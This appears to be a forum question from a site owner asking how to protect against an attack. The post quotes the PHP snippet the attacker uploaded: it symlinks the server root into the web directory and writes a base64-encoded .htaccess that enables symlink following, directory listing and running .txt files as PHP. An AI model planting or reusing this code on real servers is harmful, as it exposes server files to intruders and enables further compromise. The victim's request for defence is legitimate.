Recently I was targeted by an attack on my site, this attack unconfigured my server, was uploaded and then executed this script, see:
if (isset($_POST['red'])){ system('ln -s / red.txt'); $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw'; $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $red = symlink("/","red.txt"); $rt="
Bypassed Successfully"; echo "
Feito .. !
Servidor desconfigurado.
$rt"; }
Because of the little knowledge I have, it seemed like an attack by .htaccess
, I wonder, how can I protect myself from new attacks?